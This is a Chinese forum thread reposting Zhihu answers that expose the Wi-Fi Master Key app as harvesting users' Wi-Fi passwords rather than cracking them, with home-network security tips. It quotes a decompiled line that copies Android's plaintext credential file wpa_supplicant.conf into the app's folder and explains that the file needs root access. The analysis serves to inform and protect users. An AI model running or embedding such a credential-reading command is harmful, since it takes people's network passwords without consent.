发新话题
打印

Wi-Fi 万能钥匙:说是破解,其实有危险

Wi-Fi 万能钥匙:说是破解,其实有危险

这个“钥匙”为什么能够破解 Wi-Fi?它真的是“破解” Wi-Fi 吗?两年前我就有这个疑问了,原谅我对一切未知事物充满了好奇。当时我就绞尽脑汁加上各种途径搜寻答案,终于明白了些皮毛。
这哪里是破解嘛,当我知其原理之后一种厌恶的情绪顿时涌上心头,怎么又这么流氓的软件啊?这简直跟当年的 3721 浏览器插件一样恶心啊!
Wi-Fi 万能钥匙的工作原理是怎样的?
下面我把了解到的跟大家扯一扯,其实它根本就没有破解的功能,有不少的冤大头抱着试一试的心态装了这个软件兴高采烈地去破解别人的 Wi-Fi,初期确实是不会成功破解的,然后他们就把那软件给无视了。后来自己家新装了无线 Lan,高高兴兴的连了上去,却忘记了手机中这个沉睡已久的“钥匙",它悄悄地把家里的 Wi-Fi 信息给上传到了一个数据库,而这个数据库是 Wi-Fi 万能钥匙团队早已准备好的,凑巧的是,隔壁老王正好也装了这个 APP,他收到一条推送说附近有可以破解的 Wi-Fi,于是这个“钥匙”就给隔壁老王打开了一扇“蹭网之门”,也促使隔壁老王走上了 An Li 的不归路。
并且全国到处都是这样的冤大头和隔壁老王,更有甚者去到朋友家却连了他们家的 Wi-Fi 却把别人的 Wi-Fi 给分享出去了。
是的,它的破解原理不是什么穷举法之类的东西,根本谈不上是破解,分明就是盗窃!有人提出 Wi-Fi 万能钥匙的分享功能默认是关闭的,那么请看配图。

显然不是。
而且即使它说没有分享,作为一个根本看不到源码的普通用户有如何确定它到底有没有分享呢?
Wi-Fi 万能钥匙是怎么收集数据的? - 互联网
知乎上有位用户也抱着同样的怀疑,于是把 Wi-Fi 万能钥匙的安装包反编译了,之前人们说没有证据就说人家盗窃、侵犯隐私是诽谤、是污蔑,然而源码是不会说谎的。知道为什么 Wi-Fi 万能钥匙需要 root 权限吗?因为我们安卓系统的手机无线账号数据是储存在一个文件里的,那就是 /data/misc/wifi/wpa_supplicant.conf ,这个是系统文件,权限不够高是无法访问的,而这个文件极其重要,得到了这个文件,或者能看到这个文件的内容,就意味着能得到这台手机登录过的所有 Wi-Fi 热点,以及它们的明文密码!Wi-Fi 万能钥匙就是需要这个文件里的内容。
这位知乎用户将 Wi-Fi 万能钥匙反编译后放出源码,在源码的第 1051 行是这么写的

const-string v3, "cat /data/misc/wifi/wpa_supplicant.conf>/data/data/com.snda.wifilocating/wifi.conf\n"
可以看到它不仅访问了 wpa_supplicant.conf 文件,而且将其复制到了自己的缓存目录下。哦,有一个重要的点忘说了,这个是 1.0 版本,当时还没有热点备份功能的,然而源码上却做了这种小动作。
有的人可能对此不以为意,也许是觉得自己网够快,不在乎别人蹭网,然而蹭网事小,安全事大。家里的无线 Lan 信息被公开了,各种黑客可以毫无障碍地进出你的电脑,这不是明显的安全隐患么?

千万别抱着“我没有被黑的价值”的侥幸心理,别以为黑客们动不动就黑人家 BAT(百度阿里腾讯)公司,支付宝里三百块也是钱,也有被黑的价值,此外一台电脑可以成为跳板(解释起来略麻烦,想知道请搜索),成为肉鸡(被控制的电脑),到时别人通过你的电脑作为跳板干了一些应当被查水表的事,警察跨省来找的是你。
因此,要有基本的网络安全知识,千万别去贪小便宜,公共场合连接了公共场合的 Wi-Fi 千万别轻易网购。很多人根本没有意识到“Wi-Fi”分享出去后有着诸多的安全隐患。
国内类似 Wi-Fi 万能钥匙这样的流氓产品还有很多,各式各样的 Wi-Fi 分享软件就不必说了。
然后是一些建议:
1、保护好自己的 Wi-Fi,不要因为好心就随意分享给邻居之类的。
2、如果有朋友来家里做客想要用你家 Wi-Fi,请确保他手机里没有类似的破解软件。
3、定期修改 Wi-Fi 密码。
4、Mac 地址绑定以及各种路由安全设置不再重复。
5、关闭自己家的路由器 ssid 广播(看图),我就是这么干的蛤蛤蛤蛤 hhhh~
6、劝导别人卸载 Wi-Fi 万能钥匙。
7、把这篇文章分享出去让更多的人知道。
补充一个 @远铭 提到的
按我说,创建一个公开的 Guest SSID, 内网隔离,设置 QOS,专门给客人用。 这样才能确保自己的 SSID 不会被无意分享出去。 隐藏 SSID 什么的就是做给小白看的。
------------
李嫑嫑的回答中还有更完善的内容,推荐大家去看看。


花了将近三个小时整理+手打好累的= =万一扩散出去了,那么一切都不是徒劳。万万没想到,两年前就觉得无耻的软件两年后变得更加没下限了。在没有隐私的互联网世界中,我希望能够通过这种手段让更多的人认识到安全隐患是无处不在的。
我为什么干了这么无聊的事?
= =无聊吗?因为看到开头那种场景,简直不能忍,因此不得不说点什么。
by CATT-L

来源:知乎
链接:http://www.zhihu.com/question/28201903

TOP

WiFi 万能钥匙是怎么收集数据的?

WiFi万能钥匙的基础功能并不是采用某些答案所述“密码库穷举(逐个尝试)暴力破解”的方式获得正确密码,而是通过用户上传分享的热点(主动或“被动”)到后台服务器的方式收集、积累数据。后台服务器维护者一份热点数据库,其中包含着热点名称(或者用来唯一标识的MAC地址)以及与其对应的密码字符串。查询密码时,用户将周围扫描到的陌生热点信息上传,服务器后台查询到相对应的密码(如果分享过的话)后返回给APP供用户选择使用。不过WiFi共享钥匙有一个“深度解锁”的功能与“暴力破解”沾点边,但它也仅仅是使用几个常见的较为简单的密码来尝试连接热点,不能称得上算“密码库穷举”。
现在WiFi万能钥匙充实密码库的方式主要是用户主动分享,毕竟用户基数变大了,但在以前可不是这样。早期的WiFi万能钥匙得到热点密码数据的手段并不高明,甚至可以说是不光彩的。
我们知道Android系统中有个文件是用来存储WiFi密码的,那就是/data/misc/wifi/wpa_supplicant.conf
它的内容应该是这个样子:
此文件只有当获得root权限后才能访问。
图上显示有两个WiFi热点“network”,ssid是热点名称,psk是密码。上面那个是我的私人热点,另一个“Bjume”则是某商家提供的免费热点。请注意,其中的密码是明文显示的“bjume2013”。
得到了这个文件,或者能看到这个文件的内容,就意味着能得到这台手机登录过的所有WiFi热点,以及它们的明文密码!
早期版本的WiFi万能钥匙会向用户申请root权限:
虽然我不是专职的Android开发者,但我毕竟也开发过一些自用的小工具,对系统提供的接口和权限还是略知一二的。WiFi万能钥匙的所有业务功能,包括扫描周边的WiFi信号、通过网络查询对应WiFi信号的密码、输入密码登录WiFi、通过网络将用户在应用中输入的密码上传到服务器,这些都可以使用基本的系统API实现,不知道它为甚麽要申请root权限。难道是为了访问wpa_supplicant.conf文件?单从这一点上作恶意揣测似乎不太妥当,毕竟在android上很多别的行为也需要root(虽然我实在不知道WiFi万能钥匙哪个功能有这个需求),那么接下来的证据就无法回避了。
我对com.snda.wifilocating.apk文件进行了反编译,在得到的很多smali脚本中,有这么一个很有意思:
/home/feng/documents/com.snda.wifilocating.apk/smali/com/snda/wifilocating/a/i.smali: 1049      invoke-direct {v2, v3}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V 1050   1051:     const-string v3, "cat /data/misc/wifi/wpa_supplicant.conf>/data/data/com.snda.wifilocating/wifi.conf\n" 1052   1053      invoke-virtual {v2, v3}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
1051行,WiFi万能钥匙不仅访问了wpa_supplicant.conf这个文件,还把其中的内容复制了出来,放到了自己的缓存文件夹里。
我实在想不通WiFi万能钥匙的哪个功能需要使用用户登录过的所有热点密码(注意1.0这个版本还没有热点备份功能),因此唯一合理的推测便产生了!当然这种推测仍然没有十足的依据,但事实不是已经很清楚了么?没有依据的指控叫做诽谤,为了以免有“诽谤”的嫌疑,避免产生无谓的纠纷,结论我就不点破了。
望团队好自为之。

TOP

发新话题